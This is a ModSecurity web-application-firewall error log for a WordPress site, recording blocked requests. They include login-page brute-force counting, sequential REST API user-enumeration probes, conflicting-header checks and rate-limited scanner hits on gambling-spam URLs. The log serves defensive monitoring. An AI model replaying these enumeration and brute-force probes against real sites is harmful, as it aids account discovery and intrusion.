[Sun Mar 08 14:24:03.258645 2026] [:error] [pid 22787:tid 22851] [client 162.62.213.187:59942] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aa0WA0F9MGMhk9pT4z64cwAAA1c"]
[Sun Mar 08 16:52:11.413139 2026] [:error] [pid 22788:tid 22859] [client 182.44.9.147:43803] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aa04u0hwluk21OG9mSflaAAAA4Q"]
[Sun Mar 08 20:02:46.378256 2026] [:error] [pid 22786:tid 22814] [client 45.156.87.56:61065] [client 45.156.87.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa1lZnPuJewMN2jPbdUu9gAAAw0"]
[Sun Mar 08 20:02:54.123108 2026] [:error] [pid 22786:tid 22825] [client 45.156.87.56:61065] [client 45.156.87.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aa1lbnPuJewMN2jPbdUvFAAAAxg"], referer: https://www.bing.com/
[Sun Mar 08 20:02:54.422562 2026] [:error] [pid 22786:tid 22813] [client 45.156.87.56:61065] [client 45.156.87.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa1lbnPuJewMN2jPbdUvFwAAAww"], referer: https://vetstars.com.au/wp-login.php
[Sun Mar 08 20:03:11.626756 2026] [:error] [pid 22790:tid 22905] [client 45.156.87.56:50117] [client 45.156.87.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa1lfxXbGDWrzD_dTOcMDgAAA9c"], referer: https://vetstars.com.au/wp-login.php
[Sun Mar 08 20:03:27.675901 2026] [:error] [pid 22786:tid 22822] [client 45.156.87.56:53665] [client 45.156.87.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa1lj3PuJewMN2jPbdUvgQAAAxU"], referer: https://vetstars.com.au/wp-login.php
[Sun Mar 08 20:03:43.584416 2026] [:error] [pid 22788:tid 22863] [client 45.156.87.56:57117] [client 45.156.87.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.56, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa1ln0hwluk21OG9mScjHgAAA4g"], referer: https://vetstars.com.au/wp-login.php
[Sun Mar 08 20:38:07.999879 2026] [:error] [pid 22669:tid 22776] [client 51.83.7.81:36984] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa1tr2vqAhy8LIaua-qJugAAAtE"]
[Sun Mar 08 20:38:10.462820 2026] [:error] [pid 22667:tid 22714] [client 51.83.7.81:35138] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa1tsuG7qk1roo-TRWOzZQAAAkk"]
[Sun Mar 08 20:38:12.840037 2026] [:error] [pid 22788:tid 22878] [client 51.83.7.81:35142] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa1ttEhwluk21OG9mSctCQAAA5c"]
[Sun Mar 08 20:38:15.381051 2026] [:error] [pid 22668:tid 22746] [client 51.83.7.81:48904] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa1tt-mzLHpblwnQgPgetQAAAo4"]
[Sun Mar 08 20:38:17.893468 2026] [:error] [pid 43671:tid 43726] [client 51.83.7.81:48908] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa1tua6AdwroU1gT3XGrtwAAAEM"]
[Sun Mar 08 20:38:20.270746 2026] [:error] [pid 43671:tid 43725] [client 51.83.7.81:48920] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa1tvK6AdwroU1gT3XGrwgAAAEI"]
[Sun Mar 08 20:38:22.818787 2026] [:error] [pid 22788:tid 22879] [client 51.83.7.81:48926] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa1tvkhwluk21OG9mSctEAAAA5g"]
[Sun Mar 08 20:38:25.184131 2026] [:error] [pid 22667:tid 22727] [client 51.83.7.81:36668] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aa1tweG7qk1roo-TRWOzagAAAlY"]
[Sun Mar 08 20:38:27.698782 2026] [:error] [pid 22669:tid 22760] [client 51.83.7.81:36684] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aa1tw2vqAhy8LIaua-qJ7AAAAsE"]
[Sun Mar 08 20:38:30.243340 2026] [:error] [pid 43671:tid 43737] [client 51.83.7.81:36698] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aa1txq6AdwroU1gT3XGr6AAAAE4"]
[Sun Mar 08 20:38:32.727197 2026] [:error] [pid 22788:tid 22879] [client 51.83.7.81:36704] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aa1tyEhwluk21OG9mSctHQAAA5g"]
[Sun Mar 08 20:38:35.252450 2026] [:error] [pid 22667:tid 22712] [client 51.83.7.81:35176] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aa1ty-G7qk1roo-TRWOzbQAAAkc"]
[Sun Mar 08 20:38:37.623238 2026] [:error] [pid 22787:tid 22840] [client 51.83.7.81:35190] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aa1tzUF9MGMhk9pT4z4ibgAAA0w"]
[Sun Mar 08 20:38:40.137815 2026] [:error] [pid 43671:tid 43745] [client 51.83.7.81:35196] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aa1t0K6AdwroU1gT3XGsAgAAAFY"]
[Sun Mar 08 20:38:42.627308 2026] [:error] [pid 22787:tid 22851] [client 51.83.7.81:35204] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aa1t0kF9MGMhk9pT4z4icQAAA1c"]
[Sun Mar 08 20:38:45.140627 2026] [:error] [pid 43671:tid 43725] [client 51.83.7.81:60678] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa1t1a6AdwroU1gT3XGsDAAAAEI"]
[Sun Mar 08 20:38:47.649780 2026] [:error] [pid 43671:tid 43740] [client 51.83.7.81:60682] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aa1t166AdwroU1gT3XGsGAAAAFE"]
[Sun Mar 08 20:38:50.068510 2026] [:error] [pid 22788:tid 22866] [client 51.83.7.81:60684] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aa1t2khwluk21OG9mSctLwAAA4s"]
[Sun Mar 08 20:38:52.604469 2026] [:error] [pid 22667:tid 22723] [client 51.83.7.81:60686] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aa1t3OG7qk1roo-TRWOzgQAAAlI"]
[Sun Mar 08 20:38:55.043156 2026] [:error] [pid 22667:tid 22713] [client 51.83.7.81:33260] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aa1t3-G7qk1roo-TRWOzhgAAAkg"]
[Sun Mar 08 21:18:55.826965 2026] [:error] [pid 22787:tid 22841] [client 134.122.188.6:62881] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aa13P0F9MGMhk9pT4z4luwAAA00"]
[Sun Mar 08 21:19:01.675697 2026] [:error] [pid 10524:tid 10598] [client 134.122.188.6:49467] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/1"] [unique_id "aa13RdJkfNNXb-EWpCBguAAAAgg"]
[Sun Mar 08 21:19:08.752206 2026] [:error] [pid 22667:tid 22720] [client 134.122.188.6:52523] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/2"] [unique_id "aa13TOG7qk1roo-TRWO41gAAAk8"]
[Sun Mar 08 21:19:18.327034 2026] [:error] [pid 22669:tid 22767] [client 134.122.188.6:56351] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/3"] [unique_id "aa13VmvqAhy8LIaua-qXNwAAAsg"]
[Sun Mar 08 21:19:33.242608 2026] [:error] [pid 22788:tid 22862] [client 134.122.188.6:61649] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/4"] [unique_id "aa13ZUhwluk21OG9mSc2KwAAA4c"]
[Sun Mar 08 21:19:42.723776 2026] [:error] [pid 22668:tid 22743] [client 134.122.188.6:52031] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/5"] [unique_id "aa13bumzLHpblwnQgPgmLwAAAos"]
[Sun Mar 08 21:19:59.223210 2026] [:error] [pid 10524:tid 10614] [client 134.122.188.6:63370] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/6"] [unique_id "aa13f9JkfNNXb-EWpCBg0wAAAhg"]
[Sun Mar 08 21:20:08.303963 2026] [:error] [pid 22788:tid 22868] [client 134.122.188.6:55203] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/7"] [unique_id "aa13iEhwluk21OG9mSc2UgAAA40"]
[Sun Mar 08 21:20:23.149518 2026] [:error] [pid 43671:tid 43735] [client 134.122.188.6:64272] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/8"] [unique_id "aa13l66AdwroU1gT3XHDPAAAAEw"]
[Sun Mar 08 21:20:40.270904 2026] [:error] [pid 43671:tid 43723] [client 134.122.188.6:59658] [client 134.122.188.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.vetstars.com.au"] [uri "/wp-json/wp/v2/users/9"] [unique_id "aa13qK6AdwroU1gT3XHDYQAAAEA"]
[Sun Mar 08 21:22:33.689576 2026] [:error] [pid 43671:tid 43727] [client 134.122.188.6:51268] [client 134.122.188.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.188.6, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa14Ga6AdwroU1gT3XHESgAAAEQ"], referer: https://www.vetstars.com.au
[Sun Mar 08 21:22:35.993033 2026] [:error] [pid 22668:tid 22748] [client 134.122.188.6:53700] [client 134.122.188.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.188.6, incrementing brute counter"] [hostname "www.vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aa14G-mzLHpblwnQgPgm1gAAApA"], referer: https://www.vetstars.com.au
[Sun Mar 08 23:47:09.257216 2026] [:error] [pid 43671:tid 43723] [client 81.167.26.57:35116] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aa2Z_a6AdwroU1gT3XEm0QAAAEA"]
[Sun Mar 08 23:47:11.792101 2026] [:error] [pid 43671:tid 43746] [client 81.167.26.57:38718] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aa2Z_66AdwroU1gT3XEm3wAAAFc"]
[Sun Mar 08 23:47:14.605607 2026] [:error] [pid 22669:tid 22778] [client 81.167.26.57:27049] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aa2aAmvqAhy8LIaua-rRvAAAAtM"]
[Sun Mar 08 23:47:17.272819 2026] [:error] [pid 43671:tid 43735] [client 81.167.26.57:45342] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aa2aBa6AdwroU1gT3XEm8QAAAEw"]
[Sun Mar 08 23:47:19.924307 2026] [:error] [pid 22787:tid 22828] [client 81.167.26.57:24458] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aa2aB0F9MGMhk9pT4z48FgAAA0A"]
[Sun Mar 08 23:47:22.723092 2026] [:error] [pid 22667:tid 22721] [client 81.167.26.57:43681] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aa2aCuG7qk1roo-TRWPTfQAAAlA"]
[Sun Mar 08 23:47:25.515000 2026] [:error] [pid 22788:tid 22879] [client 81.167.26.57:45232] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aa2aDUhwluk21OG9mSdyjQAAA5g"]
[Sun Mar 08 23:47:28.169529 2026] [:error] [pid 22788:tid 22857] [client 81.167.26.57:37702] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aa2aEEhwluk21OG9mSdyjgAAA4I"]
[Sun Mar 08 23:47:30.897828 2026] [:error] [pid 22787:tid 22836] [client 81.167.26.57:5923] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aa2aEkF9MGMhk9pT4z48GgAAA0g"]
[Sun Mar 08 23:47:33.673653 2026] [:error] [pid 22668:tid 22740] [client 81.167.26.57:32557] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aa2aFemzLHpblwnQgPhMQwAAAog"]
[Sun Mar 08 23:47:36.439567 2026] [:error] [pid 22788:tid 22870] [client 81.167.26.57:3302] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aa2aGEhwluk21OG9mSdymAAAA48"]
